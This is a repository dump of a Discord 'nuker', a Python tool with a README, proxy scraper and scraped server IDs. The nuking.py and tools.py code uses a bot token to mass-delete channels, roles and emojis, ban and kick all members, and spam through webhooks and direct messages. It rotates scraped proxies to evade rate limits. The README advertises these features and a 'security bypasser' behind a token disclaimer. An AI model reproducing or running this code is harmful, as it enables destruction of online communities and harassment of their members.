├── .gitignore ├── LICENSE ├── Plugins ├── __pycache__ │ ├── colors.cpython-310.pyc │ ├── colors.cpython-311.pyc │ ├── funcs.cpython-310.pyc │ ├── funcs.cpython-311.pyc │ ├── logger.cpython-310.pyc │ ├── logger.cpython-311.pyc │ ├── nuking.cpython-310.pyc │ ├── nuking.cpython-311.pyc │ ├── tools.cpython-310.pyc │ └── tools.cpython-311.pyc ├── colors.py ├── funcs.py ├── logger.py ├── nuking.py └── tools.py ├── README.md ├── Scraped ├── channels.txt ├── emojis.txt ├── members.txt ├── roles.txt └── webhooks.txt ├── Screenshots └── Screenshot1.png ├── Tools └── d-proxy.py ├── main.py ├── persian_docs └── README.md ├── requirements.txt └── server_icon.png /.gitignore: -------------------------------------------------------------------------------- 1 | test.py 2 | token.txt 3 | session.json 4 | ./setting_exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Bad Discord Stuff 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Plugins/__pycache__/colors.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/colors.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/colors.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/colors.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/funcs.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/funcs.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/funcs.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/funcs.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/logger.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/logger.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/logger.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/logger.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/nuking.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/nuking.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/nuking.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/nuking.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/tools.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/tools.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/tools.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/tools.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/colors.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Palette: 4 | 5 | 6 | def __init__(self) -> None: 7 | # try: __import__("colorama").init() 8 | # except ModuleNotFoundError: 9 | # print("Warning colorama is not installed") 10 | 11 | self.colors = [ 12 | '\x1b[1;97m', 13 | '\x1b[1;91m', 14 | '\x1b[1;92m', 15 | '\x1b[1;93m', 16 | '\x1b[1;94m', 17 | '\x1b[1;95m', 18 | '\x1b[1;96m', 19 | '\x1b[0m', 20 | '\x1b[1;30m', 21 | '\x1b[41m\x1b[1;97m', 22 | '\x1b[m', 23 | '\x1b[93m', 24 | '\x1b[32m', 25 | '\x1b[95m', 26 | '\x1b[33m', 27 | '\x1b[1;96m', 28 | '\x1b[0;34m', 29 | '\x1b[1;97m', 30 | '\x1b[30m', 31 | '\x1b[31m', 32 | '\x1b[32m', 33 | '\x1b[33m', 34 | '\x1b[34m', 35 | '\x1b[35m', 36 | '\x1b[36m', 37 | '\x1b[37m', 38 | '\x1b[91m', 39 | '\x1b[92m', 40 | '\x1b[93m', 41 | '\x1b[95m', 42 | '\x1b[38;5;204m', 43 | '\x1b[38;5;220m', 44 | '\x1b[38;5;193m', 45 | '\x1b[38;5;216m', 46 | '\x1b[38;5;190m', 47 | '\x1b[38;5;231m', 48 | '\x1b[38;5;208m', 49 | '\x1b[38;5;106m', 50 | ] 51 | 52 | 53 | @property 54 | def error(self): 55 | return self.colors[9] 56 | 57 | 58 | @property 59 | def sky_blue(self): 60 | return self.colors[6] 61 | 62 | 63 | @property 64 | def red(self): 65 | return self.colors[1] 66 | 67 | 68 | @property 69 | def magenta(self): 70 | return self.colors[13] 71 | 72 | @property 73 | def sexy_blue(self): 74 | return self.colors[4] 75 | 76 | @property 77 | def grassy_green(self): 78 | return self.colors[12] 79 | 80 | @property 81 | def sunny_yellow(self): 82 | return self.colors[11] 83 | 84 | @property 85 | def fucked_up_blue(self): 86 | return self.colors[24] 87 | 88 | @property 89 | def better_grassy_green(self): 90 | return self.colors[27] 91 | 92 | @property 93 | def mustard(self): 94 | return self.colors[21] 95 | 96 | @property 97 | def grey(self): 98 | return self.colors[8] 99 | 100 | @property 101 | def better_purpule(self): 102 | return self.colors[23] 103 | 104 | @property 105 | def fuck(self): 106 | return "\033[0m" 107 | 108 | def print_all(self): 109 | for i in range(len(self.colors)): 110 | print(f"{self.colors[i]} Hello world {i}\033[0m") 111 | 112 | 113 | my_palette = Palette() -------------------------------------------------------------------------------- /Plugins/funcs.py: -------------------------------------------------------------------------------- 1 | from colorama import init 2 | from pystyle import Colorate, Colors, Center, Col, Add, Anime 3 | 4 | from Plugins.logger import Logger 5 | from Plugins.colors import Palette 6 | 7 | 8 | 9 | palette = Palette() 10 | 11 | 12 | 13 | class Funcs: 14 | 15 | @staticmethod 16 | def get_input(text: str, checker = True): 17 | 18 | 19 | 20 | text = f"{palette.red}{text}{palette.better_grassy_green}" 21 | 22 | v = input(text) 23 | if not checker(v): 24 | while not checker(v): 25 | Logger.Error.error("Try Again") 26 | v = input(text) 27 | 28 | return v 29 | 30 | @staticmethod 31 | def print_logo(): 32 | logo = """ 33 | :::!~!!!!!:. 34 | .xUHWH!! !!?M88WHX:. 35 | .X*#M@$!! !X!M$$$$$$WWx:. 36 | :!!!!!!?H! :!$!$$$$$$$$$$8X: 37 | !!~ ~:~!! :~!$!#$$$$$$$$$$8X: 38 | :!~::!H!< ~.U$X!?R$$$$$$$$MM! 39 | ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM! 40 | !:~~~ .:!M"T#$$$$WX??#MRRMMM! 41 | ~?WuxiW*` `"#$$$$8!!!!??!!! 42 | :X- M$$$$ `"T#$T~!8$WUXU~ 43 | :%` ~#$$$m: $ ~!~ ?$$$$$$ 44 | :!`.- ~T$$$$8xx. .xWW- ~""##*" 45 | ..... -~~:<` ! ~?T#$$@@W@*?$$ /` 46 | W$@@M!!! .!~~ !! .:XUW$W!~ `"~: $ : 47 | #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!` 48 | :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ 49 | .~~ :X@!.-~ ?@WTWo("*$$$W$TH$! ` 50 | Wi.~!X$?!-~ : ?$$$B$Wu("**$RM! 51 | $R@i.~~ ! : ~$$$$$B$$en:`` 52 | ?MXT@Wx.~ : ~"##*$$$$M~ 53 | """ 54 | 55 | 56 | print(Colorate.Vertical(Colors.DynamicMIX((Col.red, Col.dark_red)), logo)) -------------------------------------------------------------------------------- /Plugins/logger.py: -------------------------------------------------------------------------------- 1 | from pystyle import * 2 | from colorama import Fore 3 | 4 | from Plugins.colors import Palette 5 | 6 | 7 | 8 | 9 | class Logger: 10 | class Success: 11 | @staticmethod 12 | def create(value): 13 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.light_green} Created{Fore.GREEN}", value) 14 | 15 | @staticmethod 16 | def delete(value): 17 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.light_green} Deleted{Fore.GREEN}", value) 18 | 19 | @staticmethod 20 | def change(value): 21 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.purple} Changed{Fore.LIGHTBLUE_EX}", value) 22 | 23 | @staticmethod 24 | def success(value): 25 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Fore.GREEN}", value) 26 | 27 | 28 | class Error: 29 | @staticmethod 30 | def create(value): 31 | print(f"{Col.red}[-]{Fore.RED} Failed to Create{Fore.RED + Fore.YELLOW}", value) 32 | 33 | @staticmethod 34 | def delete(value): 35 | print(f"{Col.red}[-]{Fore.RED} Failed to Delete{Fore.RED + Fore.YELLOW}", value) 36 | 37 | @staticmethod 38 | def change(value): 39 | print(f"{Col.red}[-]{Fore.RED} Failed to Change{Fore.RED + Fore.YELLOW}", value) 40 | 41 | @staticmethod 42 | def error(value): 43 | print(f"{Col.red}[-]{Fore.RED + Fore.YELLOW}", value) 44 | 45 | class Log: 46 | @staticmethod 47 | def started(): 48 | logo = """ 49 | ██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄█████▓▓█████ ▓█████▄ ▐██▌ 50 | ▒██ ▒ ▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ██▌ ▐██▌ 51 | ░ ▓██▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒ ▓██░ ▒░▒███ ░██ █▌ ▐██▌ 52 | ▒ ██▒░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ░ ▓██▓ ░ ▒▓█ ▄ ░▓█▄ ▌ ▓██▒ 53 | ▒██████▒▒ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒ ▒██▒ ░ ░▒████▒░▒████▓ ▒▄▄ 54 | ▒ ▒▓▒ ▒ ░ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ▒ ░░ ░░ ▒░ ░ ▒▒▓ ▒ ░▀▀▒ 55 | ░ ░▒ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ 56 | ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ 57 | ░ ░ ░ ░ ░ ░ ░ ░ 58 | ░ 59 | 60 | """ 61 | System.Clear() 62 | print(Palette().red, Center.XCenter(logo)) 63 | print(); print() -------------------------------------------------------------------------------- /Plugins/nuking.py: -------------------------------------------------------------------------------- 1 | import requests as req, random, time, base64 2 | 3 | from Plugins.tools import Tools 4 | 5 | 6 | class Nuking: 7 | def __init__(self, token: str, guild_id: str) -> None: 8 | self.headers = {"Authorization": "Bot %s" % token, 9 | "X-Audit-Log-Reason": "Trash Nuker"} 10 | self.guild, self.token = guild_id, token 11 | 12 | def delete_channel(self, channel_id: str): 13 | try: 14 | url = Tools.api("/channels/%s" % channel_id) 15 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 16 | 17 | if r.status_code == 200: 18 | return True 19 | else: 20 | if r.status_code == 429: 21 | # print(r.json()) 22 | try: 23 | time.sleep(r.json()["retry_after"]) 24 | return self.delete_channel(channel_id) 25 | 26 | except Exception as err: 27 | print(err) 28 | return False 29 | return False 30 | except: return False 31 | 32 | 33 | 34 | def create_channel(self, name: str, channel_type: int): 35 | try: 36 | url = Tools.api("/guilds/%s/channels" % self.guild) 37 | payload = {"name": name, "type": channel_type} 38 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 39 | 40 | if r.status_code == 201: 41 | return r.json()["id"] 42 | else: 43 | return False 44 | except: return False 45 | 46 | 47 | def rename_channel(self, name: str, channel: str): 48 | try: 49 | url = Tools.api(f"/channels/{channel}") 50 | payload = {"name": name } 51 | 52 | r = req.patch(url, json=payload, headers=self.headers) 53 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 54 | return True 55 | else: 56 | return False 57 | except: return False 58 | 59 | 60 | 61 | 62 | def create_role(self, name: str): 63 | try: 64 | url = Tools.api("/guilds/%s/roles" % self.guild) 65 | payload = {"name": name, "hoist": True, "mentionable": True, "color": random.randint(0, 16777215)} 66 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 67 | 68 | if r.status_code == 200: 69 | return r.json()["id"] 70 | else: 71 | return False 72 | except: return False 73 | 74 | 75 | 76 | 77 | def delete_role(self, role_id: str): 78 | try: 79 | url = Tools.api("/guilds/%s/roles/%s" % (self.guild, role_id)) 80 | 81 | r = req.delete(url, headers=self.headers, proxies= Tools.proxy()) 82 | 83 | if r.status_code == 204: 84 | return True 85 | else: 86 | if r.status_code == 429: 87 | # print(r.json()) 88 | try: 89 | time.sleep(r.json()["retry_after"]) 90 | return self.delete_role(role_id) 91 | 92 | except Exception as err: 93 | print(err) 94 | return False 95 | else: 96 | return False 97 | except: return False 98 | 99 | 100 | def rename_role(self, role_id: str, name: str): 101 | try: 102 | url = Tools.api("/guilds/%s/roles/%s" % (self.guild, role_id)) 103 | payload = {"name": name, "color": random.randint(0, 16777215)} 104 | 105 | r = req.patch(url, headers=self.headers, json=payload, proxies= Tools.proxy()) 106 | 107 | if r.status_code == 204 or r.status_code == 201 or r.status_code == 200: 108 | return True 109 | else: 110 | if r.status_code == 429: 111 | # print(r.json()) 112 | try: 113 | time.sleep(r.json()["retry_after"]) 114 | return self.rename_role(role_id, name) 115 | 116 | except Exception as err: 117 | print(err) 118 | return False 119 | else: 120 | return False 121 | except: return False 122 | 123 | 124 | def ban(self, member_id: str): 125 | try: 126 | url = Tools.api(f"guilds/{self.guild}/bans/{member_id}") 127 | 128 | r = req.put(url, headers=self.headers, proxies=Tools.proxy()) 129 | 130 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 131 | return True 132 | else: 133 | return False 134 | except: return False 135 | 136 | 137 | 138 | def unban(self, member_id: str): 139 | try: 140 | url = Tools.api(f"guilds/{self.guild}/bans/{member_id}") 141 | 142 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 143 | 144 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 145 | return True 146 | else: 147 | return False 148 | except: return False 149 | 150 | 151 | 152 | def kick(self, member_id: str): 153 | try: 154 | url = Tools.api(f"guilds/{self.guild}/members/{member_id}") 155 | 156 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 157 | 158 | 159 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 160 | return True 161 | else: 162 | return False 163 | except: return False 164 | 165 | 166 | 167 | def create_webhook(self, channel: str): 168 | try: 169 | url = Tools.api(f"/channels/{channel}/webhooks") 170 | payload = {"name": "Nuked by trash Nuker"} 171 | 172 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 173 | 174 | if r.status_code == 200 and "url" in str(r.json()): 175 | return r.json()["url"] 176 | else: 177 | if r.status_code == 429: 178 | print(r.json()) 179 | try: 180 | time.sleep(r.json()["retry_after"]) 181 | return self.create_webhook(channel) 182 | 183 | except Exception as err: 184 | print(err) 185 | return False 186 | return False 187 | except: return False 188 | 189 | 190 | 191 | def send_webhook(self, url: str,message: str, times: int): 192 | try: 193 | payload = { 194 | "username": "ZZZZZZZZZZ", 195 | "content": message, 196 | "avatar_url": "https://cdn.discordapp.com/attachments/1054650838129332255/1189847060082606121/download.jpg?ex=659fa66d&is=658d316d&hm=411ec5aeef0752758152a1bb43df4a325f6bc625c3a532dc6db7201fbd3f09e0&" 197 | 198 | } 199 | 200 | for i in range(times): 201 | t = req.post(url, json=payload, proxies=Tools.proxy()) 202 | except: pass 203 | 204 | def send_message(self, channel: str,message: str): 205 | try: 206 | url = Tools.api(f"channels/{channel}/messages") 207 | 208 | payload = { 209 | "content": message 210 | 211 | } 212 | 213 | r = req.post(url, json=payload, proxies=Tools.proxy(), headers=self.headers) 214 | 215 | if r.status_code == 200: 216 | return True 217 | else: 218 | return False 219 | except: return False 220 | 221 | def change_nick(self, member_id: str, nick: str): 222 | try: 223 | url = Tools.api(f"/guilds/{self.guild}/members/{member_id}") 224 | paylaod = {"nick": nick} 225 | 226 | r = req.patch(url, json=paylaod, headers=self.headers, proxies=Tools.proxy()) 227 | 228 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 229 | return True 230 | else: 231 | return False 232 | except: return False 233 | 234 | def rename_guild(self, name: str): 235 | try: 236 | url = Tools.api(f"/guilds/{self.guild}") 237 | payload = {"name": name} 238 | 239 | r = req.patch(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 240 | 241 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 242 | return True 243 | else: 244 | return False 245 | except: return False 246 | 247 | def change_guild_icon(self, icon_path: str): 248 | try: 249 | url = Tools.api(f"guilds/{self.guild}") 250 | icon_format = icon_path.split(".") 251 | icon_format = icon_format[len(icon_format)-1] 252 | with open(icon_path, "rb") as icon: 253 | payload = {"icon": f"data:image/{icon_format};base64,{base64.b64encode(icon.read()).decode(encoding='utf8')}"} 254 | 255 | r = req.patch(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 256 | 257 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 258 | return True 259 | else: 260 | return False 261 | except: return False 262 | 263 | def remove_emoji(self, emoji_id: str): 264 | try: 265 | url = Tools.api(f"guilds/{self.guild}/emojis/{emoji_id}") 266 | 267 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 268 | 269 | 270 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 271 | return True 272 | else: 273 | return False 274 | except: return False 275 | 276 | def send_direct_message(self, user: str, message: str): 277 | try: 278 | url = Tools.api("/users/@me/channels") 279 | payload = {"recipient_id": user} 280 | 281 | r = req.post(url, json=payload, headers=self.headers, proxies=Tools.proxy()) 282 | 283 | if r.status_code != 200: return False 284 | 285 | id = r.json()["id"] 286 | 287 | return self.send_message(id, message) 288 | except: return False 289 | 290 | 291 | def sussy_create_channel(self): 292 | url = Tools.api(f"/guilds/{self.guild}") 293 | 294 | payload = { 295 | "public_updates_channel_id": "1", 296 | "rules_channel_id": "1" 297 | } 298 | 299 | r = req.patch(url, json=payload, headers=self.headers) 300 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 301 | return True 302 | else: 303 | return False 304 | 305 | -------------------------------------------------------------------------------- /Plugins/tools.py: -------------------------------------------------------------------------------- 1 | import requests as req, os, random 2 | 3 | 4 | from Plugins.logger import Logger 5 | 6 | 7 | 8 | class Tools: 9 | @staticmethod 10 | def check_token(token: str): 11 | if req.get("https://discord.com/api/v10/users/@me", headers={"Authorization": "Bot %s" % token}).status_code == 200: 12 | return True 13 | else: 14 | Logger.Error.error("Invalid token %s" % token) 15 | return False 16 | 17 | @staticmethod 18 | def get_guilds(token: str): 19 | headers = {"Authorization": "Bot %s" % token , "Content-Type": 'application/json'} 20 | url = Tools.api("users/@me/guilds") 21 | 22 | request = req.get(url, headers=headers) 23 | 24 | if request.status_code != 200 or len(request.json()) == 0: 25 | return False 26 | 27 | return [[i["id"], i["name"]] for i in request.json()] 28 | 29 | 30 | 31 | @staticmethod 32 | def proxy(): 33 | if os.path.exists("./proxies.txt"): 34 | with open("./proxies.txt", "r") as file: 35 | lines = file.readlines() 36 | 37 | if len(lines) != 0: 38 | p = random.choice( 39 | [i.strip() for i in lines] 40 | ) 41 | return {"http": p, "https": p} 42 | else: 43 | return None 44 | 45 | @staticmethod 46 | def api(endpoint: str): 47 | base_api = "https://discord.com/api/v10/" 48 | if endpoint.startswith("/"): 49 | endpoint = endpoint[1:] 50 | 51 | return base_api+endpoint 52 | 53 | @staticmethod 54 | async def break_limit(base_api: str, token: str): 55 | chunk_size = 1000 56 | 57 | users = [] 58 | 59 | while True: 60 | headers = {"Authorization": "Bot %s" % token} 61 | parm = "?limit=%s" % chunk_size 62 | if len(users) != 0: 63 | parm+="&?after=%s" % users[::-1][0] 64 | 65 | r = req.get(base_api+parm, headers=headers) 66 | if r.status_code == 200: 67 | try: 68 | ids = [i["user"]["id"] for i in r.json()] 69 | except KeyError: 70 | ids = [i["id"] for i in r.json()] 71 | 72 | 73 | users+=ids 74 | 75 | if len(ids) < chunk_size: break 76 | else: 77 | break 78 | 79 | return users 80 | 81 | @staticmethod 82 | def chunker(text, chunk_size: int) -> list: 83 | length = len(text) 84 | num = 0 85 | chunks = [] 86 | 87 | while num < len(text): 88 | chunks.append(text[num:length-(length-(chunk_size))+num:]) 89 | num+=chunk_size 90 | 91 | return chunks 92 | 93 | @staticmethod 94 | def information(guild_id: str, token: str): 95 | url = Tools.api("users/@me") 96 | headers = {"Authorization": "Bot %s" % token} 97 | 98 | user = req.get(url, headers=headers) 99 | 100 | url = Tools.api(f"/guilds/{guild_id}") 101 | guild = req.get(url, headers=headers) 102 | 103 | 104 | info_dict = { 105 | "user": user.json(), 106 | "guild": guild.json() 107 | } 108 | return info_dict -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 💀 Bad Discord Nuker 💀 2 | 3 | 4 |

5 | 6 | 7 | 8 |

9 | 10 |

11 | [ How to install ] - 12 | [ Screenshots ] 13 | 14 |

15 | 16 | ایرانی هستید؟ [داکیومنشن فارسی](https://github.com/Bad-Discord/Discord-Nuker/tree/main/persian_docs/) 17 | 18 | ### *Features :* 19 | > - [x] *Spam in all channels* 20 | > - [x] *Delete all Role* 21 | > - [x] *Rename all Role* 22 | > - [x] *Delete all Channels* 23 | > - [x] *Rename all Channels* 24 | > - [x] *Delete all Emoji* 25 | > - [x] *Create many Channel* 26 | > - [x] *Ban all* 27 | > - [x] *Spam with Webhook* 28 | > - [x] *Spam with The Bot* 29 | > - [x] *Dm all* 30 | > - [x] *Nickname All* 31 | > - [x] *Update server Avatar* 32 | > - [x] *Update server Name* 33 | > - [x] *Security Bypasser* 34 | > - [x] *Proxy Support* 35 | > - [x] *Session Support* 36 | ## ⚗ Installation 37 | 38 | - Make sure you have python installed on your pc. 39 | - [Python3.7.12](https://www.python.org/downloads/release/python-3712/) or higher (except [Python3.12.0](https://www.python.org/downloads/release/python-3120/) it's trash) 40 | 41 | 42 | ### Windows: 43 | - Click on the "Code" Button on this repo and download ZIP 44 | - Extract zip 45 | - Open a terminal and paste this code in it: 46 | ```bash 47 | pip install -r requirements.txt; python main.python 48 | ``` 49 | - **Or** just open the `main.py` and let it install its requirements 50 | 51 | 52 | ### Termux 53 | - Here is the one line command for Installation: 54 | ```shell 55 | pkg update -y && pkg upgrade -y && pkg install python git && git clone https://github.com/Bad-Discord/Discord-Nuker && cd Discord-Nuker && pip install -r requirements.txt && python main.py 56 | ``` 57 | - Just copy and paste it in your Termux's shell 58 | 59 | 60 | 61 | ## 🤔 Usage 62 | 63 | ### Normal Usage 64 | - Use `python main.py` or run it manually by double click 65 | 66 | ### Using Sessions 67 | 68 | - Create a [Session](https://github.com/Bad-Discord/Discord-Nuker/#sessions) file and then run `python main.py ` 69 | 70 | ```bash 71 | python main.py session.json 72 | ``` 73 | 74 | 75 | ## Sessions 76 | ### What is Sessions? 77 | if you're Too lazy to copy and paste the same token every time; create a Session file insted and run the code with the session file. 78 | 79 | - Create a `.json` file in root folder or somewhere and then paste the text bellow on it 80 | 81 | ```json 82 | { 83 | "Token": "Your Token", 84 | "SpamTexts": ["Some Texts", "For Spam"], 85 | "SpamAmount": 50, 86 | "ServerName": "Logique Nuked this Guild Bruh!", 87 | "SpamInviteLink": "discord.gg/cool-people" 88 | } 89 | ``` 90 | 91 | `Token`: Your nuker bot's token 92 | 93 | `Spam Texts`: Some Texts for sending in spam messages 94 | 95 | `SpamAmount`: The number of channels and roles to be created and the number of messages to be sent 96 | 97 | `ServerName`: A name to change the main name of the server 98 | 99 | `SpamInviteLink`: Your server invite link that you want to spam it 100 | 101 | ## 📸 Screenshots 102 | 103 | 104 | 105 | ## ⚠ Disclaimer 106 | 107 | This script is educational and fully coded by M. logique aka @1ogi in discord 108 | if you choose to abuse this tool it's are your fault and M. logique will not accept anything about you're mistake 109 | -------------------------------------------------------------------------------- /Scraped/channels.txt: -------------------------------------------------------------------------------- 1 | 1191259333950976071 -------------------------------------------------------------------------------- /Scraped/emojis.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Scraped/emojis.txt -------------------------------------------------------------------------------- /Scraped/members.txt: -------------------------------------------------------------------------------- 1 | 416358583220043796 2 | 540041855899795456 3 | 577012636902883339 4 | 785792156270460929 5 | 1098753253291868362 6 | 1149318694229508161 7 | 1156926719719121006 8 | 1172064193856409600 9 | 1189547122819858474 -------------------------------------------------------------------------------- /Scraped/roles.txt: -------------------------------------------------------------------------------- 1 | 1132936541086437507 2 | 1179899039509135452 3 | 1180723785704411238 4 | 1183040644659290145 5 | 1188372870129266720 6 | 1189558337776402512 7 | 1190650941389668453 -------------------------------------------------------------------------------- /Scraped/webhooks.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Scraped/webhooks.txt -------------------------------------------------------------------------------- /Screenshots/Screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Screenshots/Screenshot1.png -------------------------------------------------------------------------------- /Tools/d-proxy.py: -------------------------------------------------------------------------------- 1 | # CHANNEL : @Esfelurm | Github.com/esfelurm 2 | 3 | 4 | 5 | import os 6 | from time import sleep 7 | try:import requests 8 | except:os.system("pip install requests") 9 | try:os.system("cls") 10 | except:os.system("clear") 11 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m' 12 | cn = '\033[00;36m' 13 | def APIS_PROXY(PROX,Name_File,Save): 14 | if PROX == "1": 15 | f = open(Name_File,'wb') 16 | SOCKS4 = [ 17 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4", 18 | "https://openproxylist.xyz/socks4.txt", 19 | "https://proxyspace.pro/socks4.txt", 20 | "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS4.txt", 21 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", 22 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt", 23 | "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", 24 | "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt", 25 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", 26 | "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", 27 | "https://www.proxy-list.download/api/v1/get?type=socks4", 28 | "https://www.proxyscan.io/download?type=socks4", 29 | "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all", 30 | "https://api.openproxylist.xyz/socks4.txt", 31 | ] 32 | for api in SOCKS4: 33 | try: 34 | r = requests.get(api,timeout=5) 35 | if Save == "y" or Save == "Y": 36 | for Line in r.text.split('\n'): 37 | sleep(0.5) 38 | print (f"{lrd}[{lgn}+{lrd}] {lgn}SOCKS4 : {gn}{Line}\n\n") 39 | else:f.write(r.content) 40 | except: 41 | pass 42 | f.close() 43 | try: 44 | r = requests.get("https://www.socks-proxy.net/",timeout=5) 45 | Tag_H = str(r.content) 46 | Tag_H = Tag_H.split("") 47 | Tag_H = Tag_H[1].split("") 48 | Tag_H = Tag_H[0].split("") 49 | proxies = "" 50 | for proxy in Tag_H: 51 | proxy = proxy.split("") 52 | try: 53 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n" 54 | except: 55 | pass 56 | fd = open(Name_File,"a") 57 | fd.write(proxies) 58 | fd.close() 59 | 